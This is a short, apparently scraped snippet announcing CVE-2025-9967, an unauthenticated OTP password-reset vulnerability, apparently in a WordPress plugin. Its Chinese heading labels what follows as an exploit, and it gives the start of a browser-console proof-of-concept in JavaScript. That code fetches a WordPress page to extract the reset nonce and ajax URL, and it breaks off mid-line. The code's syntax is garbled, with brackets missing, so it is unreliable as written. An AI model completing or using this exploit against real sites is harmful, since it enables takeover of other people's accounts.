CVE-2025-9967

漏洞利用：未经身份验证的OTP密码重置 浏览器控制台PoC（无需认证） root@kitploit: async = async function getNonceAndAjaxUrl if window.resetpassobj return nonce: resetpassobj.ajaxnonce, ajaxUrl: resetpassobj.ajaxurl ; const home = await fetch'http://localhost/wordpress/'.thenr = r.text; const m =...